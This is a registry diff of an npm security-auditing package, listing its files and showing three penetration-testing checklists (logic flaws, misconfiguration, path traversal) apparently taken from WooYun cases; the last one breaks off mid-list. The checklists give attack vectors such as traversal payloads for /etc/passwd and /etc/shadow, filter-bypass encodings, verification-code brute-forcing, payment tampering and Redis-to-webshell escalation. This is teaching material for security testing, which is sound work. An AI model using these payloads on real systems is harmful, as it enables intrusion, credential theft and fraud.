@vigolium/piolium 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +117 -0
- package/agents/access-auditor.md +300 -0
- package/agents/assumption-breaker.md +154 -0
- package/agents/attack-designer.md +116 -0
- package/agents/code-scanner.md +139 -0
- package/agents/concurrency-auditor.md +238 -0
- package/agents/confirm-writer.md +257 -0
- package/agents/context-reviewer.md +274 -0
- package/agents/cross-verifier.md +165 -0
- package/agents/cve-scout.md +381 -0
- package/agents/env-builder.md +282 -0
- package/agents/env-profiler.md +205 -0
- package/agents/evidence-collector.md +140 -0
- package/agents/finding-grader.md +142 -0
- package/agents/finding-writer.md +148 -0
- package/agents/flow-tracer.md +106 -0
- package/agents/goal-backtracer.md +146 -0
- package/agents/history-miner.md +467 -0
- package/agents/independent-verifier.md +118 -0
- package/agents/intent-mapper.md +183 -0
- package/agents/longshot-collector.md +128 -0
- package/agents/longshot-prober.md +126 -0
- package/agents/patch-auditor.md +73 -0
- package/agents/poc-author.md +124 -0
- package/agents/poc-runner.md +194 -0
- package/agents/probe-lead.md +269 -0
- package/agents/red-challenger.md +101 -0
- package/agents/report-composer.md +208 -0
- package/agents/review-adjudicator.md +216 -0
- package/agents/spec-auditor.md +155 -0
- package/agents/taint-tracer.md +265 -0
- package/agents/test-locator.md +209 -0
- package/agents/threat-modeler.md +132 -0
- package/agents/variant-scanner.md +108 -0
- package/agents/variant-spotter.md +110 -0
- package/bin/piolium.mjs +376 -0
- package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
- package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
- package/extensions/piolium/agent-runner.ts +322 -0
- package/extensions/piolium/agents.ts +266 -0
- package/extensions/piolium/audit-state.ts +522 -0
- package/extensions/piolium/bundled-resources.ts +97 -0
- package/extensions/piolium/candidate-scan.ts +966 -0
- package/extensions/piolium/command-target.ts +177 -0
- package/extensions/piolium/console-stream.ts +57 -0
- package/extensions/piolium/export-results.ts +380 -0
- package/extensions/piolium/findings.ts +448 -0
- package/extensions/piolium/heartbeat.ts +182 -0
- package/extensions/piolium/help.ts +234 -0
- package/extensions/piolium/index.ts +1865 -0
- package/extensions/piolium/longshot.ts +530 -0
- package/extensions/piolium/matcher-suggestions.ts +196 -0
- package/extensions/piolium/matcher-utils.ts +83 -0
- package/extensions/piolium/modes/balanced.ts +750 -0
- package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
- package/extensions/piolium/modes/confirm.ts +697 -0
- package/extensions/piolium/modes/deep.ts +917 -0
- package/extensions/piolium/modes/diff.ts +177 -0
- package/extensions/piolium/modes/lite.ts +540 -0
- package/extensions/piolium/modes/longshot.ts +595 -0
- package/extensions/piolium/modes/merge.ts +204 -0
- package/extensions/piolium/modes/phase-runner.ts +267 -0
- package/extensions/piolium/modes/reinvest.ts +546 -0
- package/extensions/piolium/modes/revisit.ts +279 -0
- package/extensions/piolium/modes.ts +48 -0
- package/extensions/piolium/phase-labels.ts +123 -0
- package/extensions/piolium/phase-status-strip.ts +92 -0
- package/extensions/piolium/prompt-prefix-editor.ts +39 -0
- package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
- package/extensions/piolium/recon.ts +409 -0
- package/extensions/piolium/result-stats.ts +105 -0
- package/extensions/piolium/retry.ts +120 -0
- package/extensions/piolium/scheduler.ts +212 -0
- package/extensions/piolium/secrets.ts +368 -0
- package/extensions/piolium/tools/web-tools.ts +148 -0
- package/package.json +77 -0
- package/skills/agentic-actions-auditor/SKILL.md +327 -0
- package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
- package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
- package/skills/agentic-actions-auditor/references/foundations.md +94 -0
- package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
- package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
- package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
- package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
- package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
- package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
- package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
- package/skills/audit/SKILL.md +562 -0
- package/skills/audit/assets/icon.svg +7 -0
- package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
- package/skills/audit/references/adversarial-review.md +148 -0
- package/skills/audit/references/architecture-aware-sast.md +306 -0
- package/skills/audit/references/audit-workflow.md +737 -0
- package/skills/audit/references/chamber-protocol.md +384 -0
- package/skills/audit/references/creative-attack-modes.md +221 -0
- package/skills/audit/references/deep-analysis.md +273 -0
- package/skills/audit/references/domain-attack-playbooks.md +1129 -0
- package/skills/audit/references/knowledge-base-template.md +513 -0
- package/skills/audit/references/real-env-validation.md +191 -0
- package/skills/audit/references/report-templates.md +417 -0
- package/skills/audit/references/triage-and-prereqs.md +134 -0
- package/skills/audit/scripts/consolidate_drafts.py +554 -0
- package/skills/audit/scripts/partition_findings.py +152 -0
- package/skills/audit/scripts/rg-hotspots.sh +121 -0
- package/skills/audit/scripts/stamp_file_state.py +349 -0
- package/skills/code-reviewer/SKILL.md +65 -0
- package/skills/codeql/SKILL.md +281 -0
- package/skills/codeql/references/build-fixes.md +90 -0
- package/skills/codeql/references/diagnostic-query-templates.md +339 -0
- package/skills/codeql/references/extension-yaml-format.md +209 -0
- package/skills/codeql/references/important-only-suite.md +153 -0
- package/skills/codeql/references/language-details.md +207 -0
- package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
- package/skills/codeql/references/performance-tuning.md +111 -0
- package/skills/codeql/references/quality-assessment.md +172 -0
- package/skills/codeql/references/ruleset-catalog.md +63 -0
- package/skills/codeql/references/run-all-suite.md +92 -0
- package/skills/codeql/references/sarif-processing.md +79 -0
- package/skills/codeql/references/threat-models.md +51 -0
- package/skills/codeql/workflows/build-database.md +280 -0
- package/skills/codeql/workflows/create-data-extensions.md +261 -0
- package/skills/codeql/workflows/run-analysis.md +301 -0
- package/skills/differential-review/SKILL.md +220 -0
- package/skills/differential-review/adversarial.md +203 -0
- package/skills/differential-review/methodology.md +234 -0
- package/skills/differential-review/patterns.md +300 -0
- package/skills/differential-review/reporting.md +369 -0
- package/skills/fp-check/SKILL.md +125 -0
- package/skills/fp-check/references/bug-class-verification.md +114 -0
- package/skills/fp-check/references/deep-verification.md +143 -0
- package/skills/fp-check/references/evidence-templates.md +91 -0
- package/skills/fp-check/references/false-positive-patterns.md +115 -0
- package/skills/fp-check/references/gate-reviews.md +27 -0
- package/skills/fp-check/references/standard-verification.md +78 -0
- package/skills/insecure-defaults/SKILL.md +117 -0
- package/skills/insecure-defaults/references/examples.md +409 -0
- package/skills/last30days/SKILL.md +444 -0
- package/skills/sarif-parsing/SKILL.md +483 -0
- package/skills/sarif-parsing/resources/jq-queries.md +162 -0
- package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
- package/skills/security-threat-model/LICENSE.txt +201 -0
- package/skills/security-threat-model/SKILL.md +81 -0
- package/skills/security-threat-model/agents/openai.yaml +4 -0
- package/skills/security-threat-model/references/prompt-template.md +255 -0
- package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
- package/skills/semgrep/SKILL.md +212 -0
- package/skills/semgrep/references/rulesets.md +162 -0
- package/skills/semgrep/references/scan-modes.md +110 -0
- package/skills/semgrep/references/scanner-task-prompt.md +140 -0
- package/skills/semgrep/scripts/merge_sarif.py +203 -0
- package/skills/semgrep/workflows/scan-workflow.md +311 -0
- package/skills/semgrep-rule-creator/SKILL.md +168 -0
- package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
- package/skills/semgrep-rule-creator/references/workflow.md +240 -0
- package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
- package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
- package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
- package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
- package/skills/sharp-edges/SKILL.md +292 -0
- package/skills/sharp-edges/references/auth-patterns.md +252 -0
- package/skills/sharp-edges/references/case-studies.md +274 -0
- package/skills/sharp-edges/references/config-patterns.md +333 -0
- package/skills/sharp-edges/references/crypto-apis.md +190 -0
- package/skills/sharp-edges/references/lang-c.md +205 -0
- package/skills/sharp-edges/references/lang-csharp.md +285 -0
- package/skills/sharp-edges/references/lang-go.md +270 -0
- package/skills/sharp-edges/references/lang-java.md +263 -0
- package/skills/sharp-edges/references/lang-javascript.md +269 -0
- package/skills/sharp-edges/references/lang-kotlin.md +265 -0
- package/skills/sharp-edges/references/lang-php.md +245 -0
- package/skills/sharp-edges/references/lang-python.md +274 -0
- package/skills/sharp-edges/references/lang-ruby.md +273 -0
- package/skills/sharp-edges/references/lang-rust.md +272 -0
- package/skills/sharp-edges/references/lang-swift.md +287 -0
- package/skills/sharp-edges/references/language-specific.md +588 -0
- package/skills/spec-to-code-compliance/SKILL.md +357 -0
- package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
- package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
- package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
- package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
- package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
- package/skills/variant-analysis/METHODOLOGY.md +327 -0
- package/skills/variant-analysis/SKILL.md +142 -0
- package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
- package/skills/variant-analysis/resources/codeql/go.ql +69 -0
- package/skills/variant-analysis/resources/codeql/java.ql +71 -0
- package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
- package/skills/variant-analysis/resources/codeql/python.ql +80 -0
- package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
- package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
- package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
- package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
- package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
- package/skills/variant-analysis/resources/variant-report-template.md +75 -0
- package/skills/vuln-report/SKILL.md +137 -0
- package/skills/vuln-report/agents/openai.yaml +4 -0
- package/skills/vuln-report/references/report-template.md +135 -0
- package/skills/wooyun-legacy/SKILL.md +367 -0
- package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
- package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
- package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
- package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
- package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
- package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
- package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
- package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
- package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
- package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
- package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
- package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
- package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
- package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
- package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
- package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
- package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
- package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
- package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
- package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
- package/skills/wooyun-legacy/references/xss.md +746 -0
- package/skills/zeroize-audit/SKILL.md +371 -0
- package/skills/zeroize-audit/configs/c.yaml +21 -0
- package/skills/zeroize-audit/configs/default.yaml +128 -0
- package/skills/zeroize-audit/configs/rust.yaml +83 -0
- package/skills/zeroize-audit/prompts/report_template.md +238 -0
- package/skills/zeroize-audit/prompts/system.md +163 -0
- package/skills/zeroize-audit/prompts/task.md +97 -0
- package/skills/zeroize-audit/references/compile-commands.md +231 -0
- package/skills/zeroize-audit/references/detection-strategy.md +191 -0
- package/skills/zeroize-audit/references/ir-analysis.md +252 -0
- package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
- package/skills/zeroize-audit/references/poc-generation.md +470 -0
- package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
- package/skills/zeroize-audit/schemas/input.json +83 -0
- package/skills/zeroize-audit/schemas/output.json +140 -0
- package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
- package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
- package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
- package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
- package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
- package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
- package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
- package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
- package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
- package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
- package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
- package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
- package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
- package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
- package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
- package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
- package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
- package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
- package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
- package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
- package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
- package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
- package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
- package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
- package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
- package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
- package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
- package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
- package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
- package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
- package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
- package/themes/piolium-srcery.json +94 -0
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
# Logic Flaws Testing Checklist
|
|
2
|
+
> Derived from ~85 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context |
|
|
6
|
+
|-----------|---------|
|
|
7
|
+
| `code`, `validatecode` | SMS/email verification codes |
|
|
8
|
+
| `password`, `newPwd` | Password reset flows |
|
|
9
|
+
| `sign`, `timestamp` | Request signing mechanisms |
|
|
10
|
+
| `v`, `from` | Version/source parameters |
|
|
11
|
+
| `adultNum`, `childNum` | Quantity fields in orders |
|
|
12
|
+
| `amount`, `price` | Payment amounts |
|
|
13
|
+
| `token`, `newMobile` | Session/binding tokens |
|
|
14
|
+
| `flag`, `phone` | Password recovery flow control |
|
|
15
|
+
|
|
16
|
+
## Common Attack Patterns (by frequency)
|
|
17
|
+
1. **Arbitrary password reset** (most common)
|
|
18
|
+
- Verification code leaked in response
|
|
19
|
+
- Short/numeric verification codes (4-digit) with no rate limiting
|
|
20
|
+
- Verification not bound to phone/account
|
|
21
|
+
- Client-side verification bypass (modify response)
|
|
22
|
+
2. **Payment amount tampering**
|
|
23
|
+
- Price sent in client request, not validated server-side
|
|
24
|
+
- Negative quantity to reduce total
|
|
25
|
+
- Race condition in cart/checkout flow
|
|
26
|
+
3. **SMS/verification code abuse**
|
|
27
|
+
- No rate limit on code sending (SMS bombing)
|
|
28
|
+
- No expiration on verification codes
|
|
29
|
+
- Code reuse across different operations
|
|
30
|
+
4. **Authorization bypass (IDOR)**
|
|
31
|
+
- Sequential user/order IDs enable enumeration
|
|
32
|
+
- Delete/modify operations lack ownership check
|
|
33
|
+
5. **Client-side trust**
|
|
34
|
+
- JavaScript validation only, no server-side check
|
|
35
|
+
- Response manipulation to bypass checks
|
|
36
|
+
|
|
37
|
+
## Bypass Techniques
|
|
38
|
+
- **Response tampering**: Intercept and change server response (e.g., `false` to `true`)
|
|
39
|
+
- **Verification code brute-force**: 4-digit codes = 10,000 attempts, often no lockout
|
|
40
|
+
- **Base64 encoded codes**: Decode, enumerate, re-encode
|
|
41
|
+
- **Negative values**: Set quantity to `-1` to create credit
|
|
42
|
+
- **Step skipping**: Jump directly to final step of multi-step process
|
|
43
|
+
- **Parameter pollution**: Submit same parameter twice with different values
|
|
44
|
+
- **IP spoofing**: `X-Forwarded-For` to bypass IP-based restrictions
|
|
45
|
+
|
|
46
|
+
## Quick Test Vectors
|
|
47
|
+
```
|
|
48
|
+
# Password reset - verify code in response
|
|
49
|
+
1. Initiate reset, capture response
|
|
50
|
+
2. Check if verification code appears in JSON/HTML response
|
|
51
|
+
|
|
52
|
+
# Brute-force short verification codes
|
|
53
|
+
POST /verify?phone=TARGET&code=FUZZ
|
|
54
|
+
# Fuzz 0000-9999 with no rate limiting
|
|
55
|
+
|
|
56
|
+
# Payment tampering
|
|
57
|
+
# Original: amount=19900 (199.00)
|
|
58
|
+
# Modified: amount=1 (0.01)
|
|
59
|
+
|
|
60
|
+
# Negative quantity
|
|
61
|
+
# Original: count=1
|
|
62
|
+
# Modified: count=-1
|
|
63
|
+
|
|
64
|
+
# Skip verification step
|
|
65
|
+
# Go directly to /reset/step3 without completing step2
|
|
66
|
+
|
|
67
|
+
# Response manipulation
|
|
68
|
+
# Change {"result":"fail"} to {"result":"success"}
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Testing Methodology
|
|
72
|
+
1. Map all multi-step flows (registration, password reset, payment)
|
|
73
|
+
2. Test each step independently -- can steps be skipped?
|
|
74
|
+
3. Check if verification codes appear in responses
|
|
75
|
+
4. Test rate limiting on verification endpoints
|
|
76
|
+
5. Attempt parameter tampering on price/quantity fields
|
|
77
|
+
6. Verify server-side validation matches client-side
|
|
78
|
+
7. Check IDOR on all endpoints with user/object IDs
|
|
79
|
+
8. Test for race conditions on balance/inventory operations
|
|
80
|
+
|
|
81
|
+
## High-Impact Targets
|
|
82
|
+
- Password reset/recovery flows
|
|
83
|
+
- Payment and checkout processes
|
|
84
|
+
- SMS verification endpoints
|
|
85
|
+
- Account binding (email, phone, OAuth)
|
|
86
|
+
- Admin operations without re-authentication
|
|
87
|
+
- Coupon/discount redemption
|
|
88
|
+
|
|
89
|
+
## Common Root Causes
|
|
90
|
+
- Verification logic in client-side JavaScript only
|
|
91
|
+
- Verification codes returned in API responses
|
|
92
|
+
- No rate limiting on authentication attempts
|
|
93
|
+
- Price/amount accepted from client without server-side recalculation
|
|
94
|
+
- Sequential predictable IDs without authorization checks
|
|
95
|
+
- Multi-step processes that don't validate completion of prior steps
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
# Misconfiguration Testing Checklist
|
|
2
|
+
> Derived from ~41 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context |
|
|
6
|
+
|-----------|---------|
|
|
7
|
+
| `password`, `pwd` | Login forms for default creds |
|
|
8
|
+
| `cmd` | Command execution interfaces |
|
|
9
|
+
| `comment` | Input fields on exposed panels |
|
|
10
|
+
| `service` | Service selectors |
|
|
11
|
+
| `ObjName`, `MODE` | Management interface parameters |
|
|
12
|
+
|
|
13
|
+
## Common Misconfiguration Categories
|
|
14
|
+
|
|
15
|
+
### 1. Exposed Management Interfaces
|
|
16
|
+
| Service | Path/Port | Risk |
|
|
17
|
+
|---------|-----------|------|
|
|
18
|
+
| WebLogic Console | `:7001/console` | WAR deploy → shell |
|
|
19
|
+
| JBoss JMX | `/jmx-console/`, `/invoker/JMXInvokerServlet` | RCE |
|
|
20
|
+
| Tomcat Manager | `/manager/html` | WAR deploy → shell |
|
|
21
|
+
| phpMyAdmin | `/phpmyadmin/` | Database access |
|
|
22
|
+
| Struts2 | `/devmode.action` | RCE via OGNL |
|
|
23
|
+
| Spring Actuator | `/actuator/env` | Credential leak |
|
|
24
|
+
| Druid Monitor | `/druid/` | SQL query monitor |
|
|
25
|
+
|
|
26
|
+
### 2. DNS Zone Transfer
|
|
27
|
+
```bash
|
|
28
|
+
# Test for DNS zone transfer
|
|
29
|
+
dig axfr @ns1.target.com target.com
|
|
30
|
+
dig axfr @ns2.target.com target.com
|
|
31
|
+
# Reveals all DNS records, internal hostnames, IP addresses
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### 3. Directory Listing
|
|
35
|
+
- Web server directory indexing enabled
|
|
36
|
+
- Backup directories accessible (`/backup/`, `/bak/`)
|
|
37
|
+
- Upload directories browsable (`/upload/`, `/uploads/`)
|
|
38
|
+
|
|
39
|
+
### 4. Service Exposure (No Authentication)
|
|
40
|
+
| Service | Port | Check |
|
|
41
|
+
|---------|------|-------|
|
|
42
|
+
| MongoDB | 27017 | `mongo TARGET:27017` |
|
|
43
|
+
| Redis | 6379 | `redis-cli -h TARGET` |
|
|
44
|
+
| Memcached | 11211 | `telnet TARGET 11211` |
|
|
45
|
+
| Elasticsearch | 9200 | `curl TARGET:9200` |
|
|
46
|
+
| Rsync | 873 | `rsync TARGET::` |
|
|
47
|
+
| FTP Anonymous | 21 | `ftp TARGET` (anonymous) |
|
|
48
|
+
| Docker API | 2375 | `curl TARGET:2375/info` |
|
|
49
|
+
|
|
50
|
+
### 5. IIS/Apache Specific
|
|
51
|
+
- IIS short filename disclosure (`~1` enumeration)
|
|
52
|
+
- IIS write permission enabled (PUT method)
|
|
53
|
+
- Apache `.htaccess` bypass
|
|
54
|
+
- `crossdomain.xml` / `clientaccesspolicy.xml` overly permissive
|
|
55
|
+
- Server-status/server-info pages exposed
|
|
56
|
+
|
|
57
|
+
## Quick Test Vectors
|
|
58
|
+
```
|
|
59
|
+
# Management interfaces
|
|
60
|
+
/console/
|
|
61
|
+
/manager/html
|
|
62
|
+
/jmx-console/
|
|
63
|
+
/admin/
|
|
64
|
+
/phpmyadmin/
|
|
65
|
+
/invoker/JMXInvokerServlet
|
|
66
|
+
|
|
67
|
+
# Configuration files
|
|
68
|
+
/web.xml
|
|
69
|
+
/web.config
|
|
70
|
+
/crossdomain.xml
|
|
71
|
+
/robots.txt
|
|
72
|
+
/sitemap.xml
|
|
73
|
+
|
|
74
|
+
# Debug/info endpoints
|
|
75
|
+
/phpinfo.php
|
|
76
|
+
/info.php
|
|
77
|
+
/server-status
|
|
78
|
+
/server-info
|
|
79
|
+
/.env
|
|
80
|
+
|
|
81
|
+
# DNS zone transfer
|
|
82
|
+
dig axfr @ns1.target.com target.com
|
|
83
|
+
|
|
84
|
+
# Service scan (common misconfig ports)
|
|
85
|
+
nmap -sV -p 21,873,2375,6379,8080,9200,11211,27017 TARGET
|
|
86
|
+
|
|
87
|
+
# FTP anonymous access
|
|
88
|
+
ftp TARGET # try anonymous / anonymous@
|
|
89
|
+
|
|
90
|
+
# Rsync enumeration
|
|
91
|
+
rsync TARGET::
|
|
92
|
+
rsync TARGET::module_name/
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## Attack Escalation Paths
|
|
96
|
+
```
|
|
97
|
+
JBoss JMXInvokerServlet → Deploy WAR → Webshell → Internal network
|
|
98
|
+
Rsync anonymous → Source code → Database credentials → Data
|
|
99
|
+
FTP anonymous → web.config → DB credentials → SQL access
|
|
100
|
+
MongoDB no-auth → User data dump → Credential reuse
|
|
101
|
+
Redis no-auth → CONFIG SET dir → Write webshell
|
|
102
|
+
DNS zone transfer → Internal hostnames → Targeted attacks
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## Testing Methodology
|
|
106
|
+
1. Scan for common management interfaces and default ports
|
|
107
|
+
2. Test DNS zone transfer on all nameservers
|
|
108
|
+
3. Check for directory listing on web roots and common paths
|
|
109
|
+
4. Probe database/cache services for unauthenticated access
|
|
110
|
+
5. Test IIS-specific vulnerabilities (short names, write perms)
|
|
111
|
+
6. Check cross-domain policy files for overly broad access
|
|
112
|
+
7. Verify debug/info endpoints are disabled in production
|
|
113
|
+
8. Test FTP and Rsync for anonymous access
|
|
114
|
+
9. Check for default installation files and directories
|
|
115
|
+
|
|
116
|
+
## Common Root Causes
|
|
117
|
+
- Management consoles bound to 0.0.0.0 instead of localhost
|
|
118
|
+
- Default installations not hardened post-deployment
|
|
119
|
+
- DNS servers allowing zone transfers to any requester
|
|
120
|
+
- Services deployed without authentication requirements
|
|
121
|
+
- Web server directory indexing enabled by default
|
|
122
|
+
- Debug features and info pages left in production
|
|
123
|
+
- Cross-domain policies set to wildcard (`*`)
|
|
124
|
+
- IIS write permissions not properly restricted
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
# Path Traversal Testing Checklist
|
|
2
|
+
> Derived from ~30 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Frequency | Context |
|
|
6
|
+
|-----------|-----------|---------|
|
|
7
|
+
| `filePath` / `filepath` | High | File download/read endpoints |
|
|
8
|
+
| `filename` | High | Download handlers |
|
|
9
|
+
| `url` / `urlParam` | Medium | Proxy/fetch endpoints |
|
|
10
|
+
| `RelatedPath` | Medium | File management panels |
|
|
11
|
+
| `dd` | Medium | Document download links |
|
|
12
|
+
| `image` | Low | Image proxy/thumbnail |
|
|
13
|
+
| `path`, `name`, `n` | Low | Generic file parameters |
|
|
14
|
+
| `FileID`, `FileName` | Low | Attachment download |
|
|
15
|
+
| `Accessory` | Low | CMS attachment handlers |
|
|
16
|
+
| `hDFile` | Low | Download handlers |
|
|
17
|
+
| `tpl` | Low | Template inclusion |
|
|
18
|
+
| `bg` | Low | Background/theme loaders |
|
|
19
|
+
|
|
20
|
+
## Common Attack Patterns
|
|
21
|
+
1. **Direct file read** via download endpoints (most common)
|
|
22
|
+
2. **Directory listing** through misconfigured web servers
|
|
23
|
+
3. **CMS-specific file read** (phpCMS, SiteServer, Yxcms, FineCMS)
|
|
24
|
+
4. **Backup file exposure** via predictable paths
|
|
25
|
+
5. **Configuration file leak** (database.php, web.xml, web.config)
|
|
26
|
+
6. **Null byte injection** to bypass extension checks
|
|
27
|
+
|
|
28
|
+
## Bypass Techniques
|
|
29
|
+
- `../` replaced with empty string? Use `....//` or `..././`
|
|
30
|
+
- Extension check? Use null byte: `../../etc/passwd%00.jpg`
|
|
31
|
+
- Absolute path blocked? Try relative traversal
|
|
32
|
+
- Forward slash filtered? Try backslash on Windows: `..\..\..\`
|
|
33
|
+
- URL encoding: `%2e%2e%2f` or double-encode `%252e%252e%252f`
|
|
34
|
+
- Browser vs curl: Some traversals only work via raw HTTP (not browser)
|
|
35
|
+
|
|
36
|
+
## Quick Test Vectors
|
|
37
|
+
```
|
|
38
|
+
# Basic traversal
|
|
39
|
+
../../../etc/passwd
|
|
40
|
+
..\..\..\..\windows\win.ini
|
|
41
|
+
|
|
42
|
+
# Null byte bypass
|
|
43
|
+
../../../etc/passwd%00.jpg
|
|
44
|
+
../../../etc/passwd%00.png
|
|
45
|
+
|
|
46
|
+
# Double-encoding
|
|
47
|
+
%252e%252e%252f%252e%252e%252fetc/passwd
|
|
48
|
+
|
|
49
|
+
# Filter bypass (double dots replaced)
|
|
50
|
+
....//....//....//etc/passwd
|
|
51
|
+
..././..././..././etc/passwd
|
|
52
|
+
|
|
53
|
+
# Java/Tomcat paths
|
|
54
|
+
/WEB-INF/web.xml
|
|
55
|
+
/WEB-INF/classes/
|
|
56
|
+
/META-INF/MANIFEST.MF
|
|
57
|
+
|
|
58
|
+
# Windows targets
|
|
59
|
+
..\..\..\..\windows\system32\drivers\etc\hosts
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## High-Value Target Files
|
|
63
|
+
| Platform | Files |
|
|
64
|
+
|----------|-------|
|
|
65
|
+
| Linux | `/etc/passwd`, `/etc/shadow` |
|
|
66
|
+
| Windows | `win.ini`, `boot.ini` |
|
|
67
|
+
| PHP | `config.php`, `database.php`, `.env` |
|
|
68
|
+
| Java | `WEB-INF/web.xml`, `WEB-INF/classes/` |
|
|
69
|
+
| .NET | `web.config`, `machine.config` |
|
|
70
|
+
| General | `.svn/entries`, `.git/config`, `.bash_history` |
|
|
71
|
+
|
|
72
|
+
## Testing Methodology
|
|
73
|
+
1. Identify all file download/read endpoints
|
|
74
|
+
2. Map parameters that accept file paths or names
|
|
75
|
+
3. Test basic `../` traversal sequences (3-8 levels deep)
|
|
76
|
+
